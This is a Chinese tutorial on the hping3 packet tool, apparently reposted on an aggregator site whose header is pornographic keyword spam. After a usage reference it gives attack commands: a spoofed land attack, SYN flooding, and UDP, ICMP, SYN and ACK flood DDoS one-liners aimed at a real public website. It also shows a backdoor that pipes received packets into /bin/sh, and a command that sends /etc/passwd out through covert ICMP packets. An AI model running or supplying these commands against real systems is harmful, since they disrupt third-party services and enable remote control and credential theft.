日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

Linux网络命令之 `Hping3`

發布時間:2023/12/10 linux 40 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Linux网络命令之 `Hping3` 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

  • 1 Hping簡介
  • 2 Hping的功能
  • 3 Hping3用法說明
  • 4 Hping3舉例
    • 4.1 防火墻測試
    • 4.2 端口掃描
    • 4.3 Idle掃描
    • 4.4 拒絕服務攻擊
    • 4.5 DDOS攻擊 (分布式拒絕服務攻擊)
    • 4.6 木馬功能
    • 4.7 文件傳輸

1 Hping簡介

Hping 是面向命令行的,用于生成和解析 TCP/IP 協議數據包匯編/分析的開源工具。作者是 Salvatore Sanfilippo,界面靈感來自 ping(8)unix 命令。

目前最新版是 Hping,它支持 TCP,UDP,ICMP 和 RAW-IP 協議,具有跟蹤路由模式,能夠在覆蓋的信道之間發送文件以及許多其他功能,支持使用 tcl 腳本自動化地調用其 API。hping 是安全審計、防火墻測試等工作的標配工具。Hping 優勢在于能夠定制數據包的各個部分,因此用戶可以靈活對目標機進行細致地探測。

工具來源:http://www.hping.org/

2 Hping的功能

雖然 Hping 以前主要用作安全工具,但它可以在許多方面被不太關心安全性的人員用于測試網絡和主機,您可以使用 Hping 的一小部分內容:

  • 防火墻測試
  • 高級端口掃描
  • 網絡測試,使用不同的協議,TOS,分片
  • 手動路徑 MTU 發現
  • 在所有支持的協議下,高級 traceroute
  • 遠程操作系統指紋
  • 遠程正常運行時間猜測
  • TCP/IP 協議棧審計
  • Hping 也可以用于學習 TCP/IP 的學生

3 Hping3用法說明

hping3 host [options]-h --help 顯示幫助-v --version 顯示版本-c --count 發送數據包的數目-i --interval 發送數據包間隔的時間 (uX即X微秒, 例如: -i u1000)--fast 等同 -i u10000 (每秒10個包)--faster 等同 -i u1000 (每秒100個包)--flood 盡最快發送數據包,不顯示回復-n --numeric 數字化輸出,象征性輸出主機地址-q --quiet 安靜模式-I --interface 網卡接口 (默認路由接口)-V --verbose 詳細模式-D --debug 調試信息-z --bind 綁定 ctrl+z 到 ttl (默認為目的端口)-Z --unbind 取消綁定 ctrl+z 鍵--beep 對于接收到的每個匹配數據包蜂鳴聲提示模式選擇 default mode 默認模式是TCP-0 --rawip RAW IP模式,原始IP模式。在此模式下Hping3會發送帶數據的IP頭。即裸IP方式。使用RAWSOCKET方式-1 --icmp ICMP模式,此模式下Hping3會發送IGMP應答報,你可以用 --icmptype,--icmpcode 選項發送其他類型/模式的ICMP報文-2 --udp UDP模式,默認Hping3會發送UDP報文到主機的0端口,你可以用 --baseport,--destport,--keep 選項指定端口-8 --scan 掃描模式,掃描指定的端口Example: hping3 --scan 1-30,70-90 -S www.target.host-9 --listen 監聽模式IP 模式 -a --spoof 源地址欺騙。偽造自身IP,對目的進行攻擊,防火墻就不會記錄你的真實IP了,當然回應的包你也接收不到了--rand-dest 隨機目的地址模式,詳細使用 man 命令--rand-source 隨機源地址模式,詳細使用 man 命令-t --ttl 指定 ttl 值 (默認 64)-N --id hping3 中的 ID 值,缺省為隨機值-W --winid 使用 win* id 字節順序,針對不同的操作系統。UNIX,WINDIWS的id回應不同,這選項可以讓你的ID回應和WINDOWS一樣-r --rel 相對id字段(用于評估主機流量) //更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO-f --frag 將數據包拆分成更多的frag,可能通過弱訪問控制列表(acl) //分段,可以測試對方或者交換機碎片處理能力,缺省16字節-x --morefrag 設置更多的分段標志 //大量碎片,淚滴攻擊-y --dontfrag 設置不分段標志 //發送不可恢復的IP碎片,這可以讓你了解更多的MTU PATH DISCOVERY-g --fragoff set the fragment offset //設置斷偏移-m --mtu 設置虛擬最大傳輸單元,當大于MTU時分段;如果數據包大于MTU,等同于使用 --frag 選項-o --tos tos字段,服務類型,缺省值為0x00,通過 hping3 --tos help 命令查看詳細-G --rroute 記錄IP路由,并顯示路由緩沖--lsrr 松散源路由并記錄路由 (loose source routing and record route)--ssrr 嚴格源路由并記錄路由 (strict source routing and record route)-H --ipproto 設置IP協議字段,僅在RAW IP模式下使用ICMP 模式-C --icmptype icmp類型,默認回顯(echo)請求-K --icmpcode icmp代號,默認0--force-icmp 發送所有icmp類型(默認僅發送支持的類型)--icmp-gw 設置ICMP重定向網關地址(默認0.0.0.0)--icmp-ts 等同 --icmp --icmptype 13 (ICMP 時間戳)--icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址子網掩碼)--icmp-help 顯示其他icmp選項幫助UDP/TCP 模式-s --baseport 設置源端口,默認為隨機源端口-p --destport 設置目的端口,默認端口為0-k --keep 保持源端口不變-w --win win的滑動窗口。windows發送字節(默認64)-O --tcpoff set fake tcp data offset(instead of tcphdrlen / 4) //設置偽造tcp數據偏移量(取代tcp地址長度/4)-Q --seqnum 僅顯示tcp序列號-b --badcksum (嘗試)發送具有錯誤IP校驗和的數據包,所以你會得到錯誤UDP/TCP校驗和。但是許多系統會修復發送數據包的IP校驗和-M --setseq 設置TCP序列號-L --setack set TCP ack,不是 TCP 的 ACK 標志位-F --fin set FIN flag -S --syn set SYN flag -R --rst set RST flag -P --push set PUSH flag -A --ack set ACK flag,設置 TCP 的 ACK 標志位-U --urg set URG flag //一大堆IP報頭的設置-X --xmas set X unused flag (0x40)-Y --ymas set Y unused flag (0x80)--tcpexitcode 使用last tcp->th_flags 作為退出碼--tcp-mss 使用給定的值啟用TCP MSS選項--tcp-timestamp 啟用TCP時間戳選項來猜測HZ/uptime通用設置 -d --data 發送數據包的大小,默認為0-E --file 發送指定文件內的數據-e --sign 添加“簽名”-j --dump 轉儲為十六進制數據包-J --print 轉儲為可打印字符-B --safe 啟用“安全”協議-u --end 告訴你什么時候--file達到EOF并防止倒回-T --traceroute traceroute模式(等同使用 --bind 且 --ttl 1)--tr-stop 在traceroute模式下,收到第一個非ICMP報文時退出--tr-keep-ttl 保持源TTL固定,僅用于監視一跳--tr-no-rtt 不要在traceroute模式下計算或顯示RTT信息ARS packet description (new, unstable)--apd-send 發送用APD描述的數據包(參見docs/APD.txt)

4 Hping3舉例

4.1 防火墻測試

使用 Hping3 指定各種數據包字段,依次對防火墻進行詳細測試。請參考:http://0daysecurity.com/articles/hping3_examples.html

測試防火墻對 ICMP 包的反應、是否支持 traceroute、是否開放某個端口、對防火墻進行拒絕服務攻擊 (DoS attack)。

例如,以 LandAttack 方式測試目標防火墻 (Land Attack 是將發送源地址設置為與目標地址相同,誘使目標機與自己不停地建立連接):

hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

4.2 端口掃描

Hping3 也可以對目標端口進行掃描。Hping3 支持指定 TCP 各個標志位、長度等信息。以下示例可用于探測目標機的80端口是否開放:

hping3 -I eth0 -S 192.168.10.1 -p 80
  • -I eth0:指定使用 eth0 端口
  • -S:指定 TCP 包的標志位 SYN
  • -p 80:指定探測的目的端口

Hping3 支持非常豐富的端口探測方式,Nmap 擁有的掃描方式 Hping3 幾乎都支持 (除開 connect 方式,因為 Hping3 僅發送與接收包,不會維護連接,所以不支持 connect 方式探測)。而且 Hping3 能夠對發送的探測進行更加精細的控制,方便用戶微調探測結果。當然,Hping3 的端口掃描性能及綜合處理能力,無法與 Nmap 相比。一般使用它僅對少量主機的少量端口進行掃描。

4.3 Idle掃描

Idle 掃描 (Idle Scanning) 是一種匿名掃描遠程主機的方式,該方式也是由 Hping3 的作者 Salvatore Sanfilippo 發明的,目前 Idle 掃描在 Nmap 中也有實現。

該掃描原理是:尋找一臺 idle 主機 (該主機沒有任何的網絡流量,并且 IPID 是逐個增長的),攻擊端主機先向 idle 主機發送探測包,從回復包中獲取其 IPID。冒充 idle 主機的 IP 地址向遠程主機的端口發送 SYN 包 (此處假設為 SYN 包),此時如果遠程主機的目的端口開放,那么會回復 SYN/ACK,此時 idle 主機收到 SYN/ACK 后回復 RST 包。然后攻擊端主機再向 idle 主機發送探測包,獲取其 IPID。那么對比兩次的 IPID 值,我們就可以判斷遠程主機是否回復了數據包,從而間接地推測其端口狀態。

4.4 拒絕服務攻擊

使用 Hping3 可以很方便構建拒絕服務攻擊。比如對目標機發起大量 SYN 連接,偽造源地址為 192.168.10.99,并使用1000微秒的間隔發送各個 SYN 包:

hping3 -I eth0 -a 192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

其他攻擊如 smurf、teardrop、land attack 等也很容易構建出來。

4.5 DDOS攻擊 (分布式拒絕服務攻擊)

  • UDP ddos攻擊:

    hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com
  • ICMP ddos攻擊:

    hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source www.baidu.com
  • SYN ddos攻擊:

    hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com
  • ACK ddos攻擊:

    hping3 -c 10000 -d 120 -A -w 64 -p 80 --flood --rand-source www.baidu.com
  • 4.6 木馬功能

    如果 Hping3 能夠在遠程主機上啟動,那么可以作為木馬程序啟動監聽端口,并在建立連接后打開 shell 通信。與 netcat 的后門功能類似。

    示例:本地打開53號 UDP 端口 (DNS解析服務) 監聽來自 192.168.10.66 主機的包含簽名為 signature 的數據包,并將收到的數據調用 /bin/sh 執行。

    在木馬啟動端:

    hping3 192.168.10.66 --listen signature --safe --udp -p 53 | /bin/sh

    在遠程控制端:

    echo ls > test.cmdhping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd

    將包含 ls 命令的文件加上簽名 signature 發送到 192.168.10.44 主機的53號 UDP 端口,包數據長度為100字節。

    當然這里只是簡單的演示程序,真實的場景,控制端可以利益 shell 執行很多的高級復雜的操作。

    4.7 文件傳輸

    Hping3 支持通過 TCP/UDP/ICMP 等包來進行文件傳輸。相當于借助 TCP/UDP/ICMP 包建立隱秘隧道通訊。實現方式是開啟監聽端口,對檢測到的簽名 (簽名為用戶指定的字符串) 的內容進行相應的解析。

    在接收端開啟服務:

    hping3 192.168.1.159 --listen signature --safe --icmp

    監聽 ICMP 包中的簽名,根據簽名解析出文件內容。

    在發送端使用簽名打包的 ICMP 包發送文件:

    hping3 192.168.1.108 --icmp -d 100 --sign signature --file /etc/passwd

    將 /etc/passwd 密碼文件通過 ICMP 包傳給 192.168.1.108 主機。發送包大小為100字節 (-d 100),發送簽名為 signature (--sign signature)。

    總結

    以上是生活随笔為你收集整理的Linux网络命令之 `Hping3`的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。